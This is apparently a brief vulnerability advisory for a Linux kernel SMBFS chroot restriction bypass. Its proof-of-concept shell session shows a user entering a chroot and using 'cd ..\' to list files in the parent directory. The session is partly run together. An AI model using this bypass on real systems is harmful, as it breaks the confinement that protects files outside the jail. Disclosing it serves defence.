Linux Kernel SMBFS CHRoot Security Restriction Bypass Vulnerability

To exploit this issue, attackers can use normal system commands.

The following proof of concept is available:

root@server me]# pwd
/path/to/my/dir
[root@server me]# ls
bin chroot etc lib
[root@server me]# chroot .
bash-2.05a# pwd
/
bash-2.05a# ls
bin chroot etc lib
bash-2.05a# cd ..\bash-2.05a# pwd
/..bash-2.05a# ls
<list of files from parent>


 

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